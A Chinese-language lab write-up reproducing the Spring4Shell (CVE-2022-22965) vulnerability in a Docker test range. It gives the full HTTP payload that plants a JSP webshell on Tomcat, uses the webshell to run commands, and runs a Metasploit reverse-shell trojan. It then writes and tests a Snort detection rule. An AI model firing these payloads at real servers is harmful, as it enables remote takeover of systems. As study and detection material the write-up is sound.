漏洞详情
漏洞简介
2022年3月30日,Spring框架曝出RCE 0day漏洞,国家信息安全漏洞共享平台(CNVD)已收录了Spring框架远程命令执行漏洞(CNVD-2022-23942),考虑到Spring框架的广泛应用,漏洞被评级为危险。
通过该漏洞可写入webshell以及命令执行。在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并写入任意路径下的文件。
漏洞利用条件
- Apache Tomcat作为Servlet容器;
- 使用JDK9及以上版本的Spring MVC框架;
- Spring框架以及衍生的框架spring-beans-*.jar文件或者存在
漏洞影响范围
1、JDK JDK 9+
2、Spring Framework 5.3.18+ 5.2.20+
docker中已经配置好jdk环境了。docker中的环境与宿主机jdk环境无关。只是当时做实验的时候,刚好也装了jdk9,记录了一下安装过程。
ubuntu下jdk9安装:
官网下载jdk,放入解压到路径
/usr/lib/jvm
利用
update-alternatives
进行jdk版本切换数字越大,优先级越高
执行命令:
1
2
3
4
5
6
7 sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk-9.0.4/bin/java 1000
sudo update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/jdk-9.0.4/bin/javac 1000
sudo update-alternatives --install /usr/bin/jar jar /usr/lib/jvm/jdk-9.0.4/bin/jar 1000
sudo update-alternatives --install /usr/bin/javah javah /usr/lib/jvm/jdk-9.0.4/bin/javah 1000
sudo update-alternatives --install /usr/bin/javap javap /usr/lib/jvm/jdk-9.0.4/bin/javap 1000
sudo update-alternatives --install /usr/bin/jshell jshell /usr/lib/jvm/jdk-9.0.4/bin/jshell 1000
sudo update-alternatives --install /usr/bin/jconsole jconsole /usr/lib/jvm/jdk-9.0.4/bin/jconsole 1000修改配置
1 vim /etc/profile
1
2
3
4
5
6
7
8
9
10 #env
#export JAVA_HOME=/usr/lib/jvm/jdk-9.0.4
#export JRE_HOME=/usr/lib/jvm/jdk-9.0.4/jre
#export CLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib:$CLASSPATH
#export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH
#export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
#export JRE_HOME=/usr/lib/jvm/java-8-openjdk-amd64/jre
#export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH
#export CLASSPATH=$CLASSPATH:.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib
1 source /etc/profile检查一下
1 update-alternatives --display javac每一个命令都是auto 模式,这样才会自动选择优先级高的。为了确保,可以不用管现在的状态,直接设置一遍这些命令为auto模式。
1
2
3
4
5
6 sudo update-alternatives --auto java
sudo update-alternatives --auto javac
sudo update-alternatives --auto javap
sudo update-alternatives --auto javah
sudo update-alternatives --auto jconsole
sudo update-alternatives --auto jshell版本检查
1
2 /usr/bin/java -version
java -version
环境配置
主机系统:Apple M1,macOS Ventura version13.0
虚拟机系统(docker靶场系统): ubuntu 20.04.2 x86 (腾讯云服务器)
漏洞复现
靶场项目:https://github.com/vulhub/vulhub
ubuntu安装docker
源:https://lug.ustc.edu.cn/wiki/mirrors/help/docker/
1 | curl -fsSL https://get.docker.com | bash -s docker --registry-mirror=https://docker.mirrors.ustc.edu.cn |
安装pip
1 | curl -s https://bootstrap.pypa.io/get-pip.py | python3 |
安装docker-compose
1 | sudo pip3 install docker-compose |
启动靶场环境
1 | # 下载项目 |
可能遇到的问题:卡在了pulling阶段。
因为docker加速器超时导致pull不下来,改成国内镜像
1 sudo vim /etc/docker/deamon.json添加以下内容:
1
2
3
4 {
"registry-mirrors": ["https://docker.mirrors.ustc.edu.cn/","https://hub-mirror.c.163.com","https://registry.docker-cn.com"],
"insecure-registries": ["10.0.0.12:5000"]
}重启
1
2
3 systemctl stop docker
systemctl start docker.service
systemctl status docker.service
漏洞版本验证
进入docker控制台
1 | # 找到环境的id |
JDK
1 | cd /usr/local/tomcat/bin |
利用链
利⽤class对象构造利⽤链,对Tomcat的日志配置进行修改,然后,向⽇志中写⼊shell
1 |
|
构造payload
1 | class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{test}i |
GET发送
1 | GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 |
服务器上验证,确实已经生成了jsp
访问写入的webshell文件
1 | http://your-ip:8080/tomcatwar.jsp?pwd=j&cmd=id |
清空
需要在利用完成后将class.module.classLoader.resources.context.parent.pipeline.first.pattern
清空,否则每次请求都会写入新的恶意代码在JSP Webshell中,导致这个文件变得很大。发送如下数据包将其设置为空:
1 | GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern= HTTP/1.1 |
总体来说,这个漏洞的利用方法会修改目标服务器配置,导致目标需要重启服务器才能恢复,实际测试中需要格外注意。
反弹shell
用msf生成木马
1 | msf5的语法 |
Lhost是监听机器的ip。因为目标机也是公网中的,所以监听机器也需要是公网IP,这样才能访问到。
msf生成的shell.elf是在本地的,需要自己想办法传到服务器上。
端口随便写,但是要打开对应的防火墙规则。
kali:
1
2
3
4 apt-get install ufw
ufw status
ufw enable
ufw allow 7777
木马上传
正常情况下,应该是在公网的vps下面生成elf,然后wget下载。但我这次在本地生成的,所以直接scp拷到服务器上去。
宿主机向docker传输文件
1 | docker cp 本地文件的路径 container_id:<docker容器内的路径> |
赋予木马权限
1 | chmod 777 /shell.elf |
1 | your-公网ip:8080/tomcatwar.jsp?pwd=j&cmd=chmod%20777%20%2Fshell.elf |
msf开启监听
在公网服务器上
ubuntu上快速安装msf:https://www.cnblogs.com/tomyyyyy/p/12813299.html
1 | msfconsole # 在命令行里面输入命令,进入msf漏洞利用框架; |
执行木马
1 | /tomcatwar.jsp?pwd=j&cmd=./shell.elf |
抓包
过滤语句:ip终点选靶机的IP。起点选择攻击机的IP。因为靶场走的8080端口,http协议。所以筛选条件加上http协议。
1 | ip.dst == <靶机IP> && http |
追随No.1277和1566的http流
特征流量分析
pipeline.first.pattern
对get头进行解码:
1 | /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= |
pipeline.first.suffix
parent.pipeline.first.directory
pipeline.first.prefix
pipeline.first.fileDateFormat
漏洞规则
规则思路👇
1 | alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"SpringCore RCE"; flow:to_server,established; content:"pipeline.first.pattern="; http_uri; fast_pattern; classtype:attempted; sid:100000; rev:2;) |
snort规则验证
snort的各种配置以及环境,见以前的blog:https://gryffinbit.top/categories/%E5%85%A5%E4%BE%B5%E6%A3%80%E6%B5%8B/snort/
把刚刚抓到的数据包放进snort环境中
把写好的规则文件也放进环境中。
规则配置
把规则文件放进规则路径,并修改snort.conf配置
1 | mv CVE-2022-22965.rules /etc/snort/rules |
修改snort.conf的内容
设置需要保护的ip地址
1 | # Setup the network addresses you are protecting |
1 | # Set up the external network addresses. Leave as "any" in most situations |
1 | # Path to your rules files (this can be a relative path) |
1 | # Set the absolute path appropriately |
在setp6里,设置输出
1 | # unified2 |
翻到最下面,找到规则集列表。打开local.rules的注释,以允许snort装载个性化规则集。
1 | include $RULE_PATH/CVE-2022-22965.rules |
保存编辑:wq
测试是否能正常工作
1 | sudo snort -T -c /etc/snort/snort.conf |
运行成功
规则验证
tips:
Wireshark抓的包可能校验和不对,校验和不对的流量,snort不会检测。
可以通过scapy进行校验和修改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17 from scapy.all import *
from scapy.layers.inet import in4_chksum, IP, TCP
packets = rdpcap('/Users/gryffinbit/Desktop/test3.pcap')
pkts = []
for pkt in packets:
print("------------")
if pkt["TCP"]:
print("old chksum: 0x{:x}".format(pkt['TCP'].chksum))
pkt['TCP'].chksum = 0
tcp_raw = raw(pkt[TCP])
nchksum = in4_chksum(socket.IPPROTO_TCP, pkt[IP], tcp_raw)
print("new chksum: 0x{:x}".format(nchksum))
pkt['TCP'].chksum = nchksum
pkts.append(pkt)
wrpcap("out.pcap", pkts)
snort接受pcap的格式,所以还需要将包保存为pcap的格式
1 | snort -c /etc/snort/snort.conf -r Spring【CVE-2022-22965】.pcap -l /var/log/snort/ |
检验成功
附录:snort 文件部署路径
snort安装包所在路径、相关文档
1 /home/parallels/snortFile
- doc:snort的一些说明文档所在文件夹
snort规则文件、配置文件
1 cd /etc/snortsnort日志文件
1 cd /var/log/snortsnort运行
1 /usr/local/bin/snort规则路径
1 /etc/snort/rules配置路径
1 /etc/snort/snort.conf
参考文章
https://www.freebuf.com/vuls/345007.html
https://www.freebuf.com/vuls/326878.html
https://blog.csdn.net/weixin_45632448/article/details/124043082